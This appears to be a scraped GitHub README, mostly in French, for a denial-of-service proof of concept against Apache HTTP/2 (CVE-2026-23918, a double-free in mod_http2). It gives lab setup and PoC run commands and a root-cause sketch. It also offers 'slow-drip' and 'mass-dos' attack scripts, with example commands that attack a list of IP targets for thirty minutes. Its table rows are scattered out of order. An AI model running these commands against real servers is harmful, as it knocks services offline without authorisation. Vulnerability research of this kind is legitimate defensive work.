
Apache HTTP/2 double-free vulnerability PoC (CVE-2026-23918)
CVE-2026-23918 | Serveur HTTP Apache 2.4.66 | CWE-415 : Double libération | CVSS 8.8 | Corrigé dans la version 2.4.67
Une vulnérabilité de double libération dans mod_http2 (h2_mplx.c) permet à des attaquants distants de provoquer un déni de service (crash du worker) via des trames RST_STREAM rapides qui déclenchent une condition de course entre c1c2_stream_joined() et m_stream_cleanup().
# 1. Start the lab
docker-compose up --build -d
# 2. Run the PoC
pip3 install h2
python3 poc.py --target 127.0.0.1 --port 8443
# 3. Watch the crash
docker logs -f apache-lab
# 4. Clean up
docker-compose down -v
Résultat : Le serveur plante en ~30s–3min avec
SIGSEGV— DoS fiable confirmé.
| Fichier | Description |
|---|---|
poc.py | Rapid-RST — Attaque rapide, plante les serveurs en 30s–3min |
exploits/slow-drip.py |
# Create target list
echo "192.168.1.100:8443" > targets.txt
echo "10.0.0.50:8443" >> targets.txt
# Attack 10 targets for 30 minutes
python3 exploits/mass-dos.py --targets targets.txt --duration 30 --workers 50 --intensity 7
La vulnérabilité se déclenche lorsque :
c1c2_stream_joined() et m_stream_cleanup() simultanémentm->spurge sans déduplicationh2_purge_then_destroy() détruit le flux deux fois → double libération → segfault
Mettez à niveau vers Apache 2.4.67 ou version ultérieure.
Analyse complète de la vulnérabilité, exploration de la cause racine, notes d'exploitation et conseils de correction : → rhasan.com/CVE-2026-23918
⭐ Mettez une étoile à ce dépôt si vous l'avez trouvé utile !
| Slow Drip — Attaque soutenue à faible bande passante |
exploits/mass-dos.py | Mass DoS — DoS soutenu multi-cibles |
| Corrigé |
| Apache 2.4.67 |